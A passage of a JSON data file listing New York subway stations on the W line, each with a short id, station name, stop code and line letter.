"ea7e", "name": "28 St", "stop": "R18", "line": "W"}, {"id": "529d", "name": "30 Av", "stop": "R04", "line": "W"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "D17", "line": "W"}, {"id": "6854", "name": "34 St - Herald Sq", "stop": "R17", "line": "W"}, {"id": "a47d", "name": "36 Av", "stop": "R06", "line": "W"}, {"id": "82e4", "name": "39 Av", "stop": "R08", "line": "W"}, {"id": "2d15", "name": "49 St", "stop": "R15", "line": "W"}, {"id": "5034", "name": "5 Av/59 St", "stop": "R13", "line": "W"}, {"id": "05e1", "name": "57 St - 7 Av", "stop": "R14", "line": "W"}, {"id": "1fd4", "name": "8 St - NYU", "stop": "R21", "line": "W"}, {"id": "5925", "name": "Astoria - Ditmars Blvd", "stop": "R01", "line": "W"}, {"id": "0fd1", "name": "Astoria Blvd", "stop": "R03", "line": "W"}, {"id": "e54a", "name": "Broadway", "stop": "R05", "line": "W"}, {"id": "7f0a", "name": "Canal St", "stop": "639", "line": "W"}, {"id": "7f0a", "name": "Canal St", "stop": "M20", "line": "W"}, {"id": "7f0a", "name": "Canal St", "stop": "Q01", "line": "W"}, {"id": "7f0a", "name": "Canal St", "stop": "R23", "line": "W"}, {"id": "5f40", "name": "City Hall", "stop": "R24", "line": "W"}, {"id": "14b5", "name": "Cortlandt St", "stop": "R25", "line": "W"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "629", "line": "W"}, {"id": "5f44", "name": "Lexington Av/59 St", "stop": "R11", "line": "W"}, {"id": "d008", "name": "Prince St", "stop": "R22", "line": "W"}, {"id": "66ce", "name": "Queensboro Plaza", "stop": "718", "line": "W"}, {"id": "66ce", "name": "Queensboro Plaza", "stop": "R09", "line": "W"}, {"id": "1a2a", "name": "Rector St", "stop": "R26", "line": "W"}, {"id": "ecd5", "name": "South Ferry Loop / Whitehall St", "stop": "140", "line": "W"}, {"id": "ecd5", "name": "South Ferry Loop / Whitehall St", "stop": "R27", "line": "W"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "127", "line": "W"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "725", "line": "W"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "902", "line": "W"}, {"id": "84ac", "name": "Times Sq - 42 St", "stop": "R16", "line": "W"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "635", "line": "W"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "L03", "line": "W"}, {"id": "82bd", "name": "Union Sq - 14 St", "stop": "R20", "line": "W"}] --------------------------------------------------------------------------------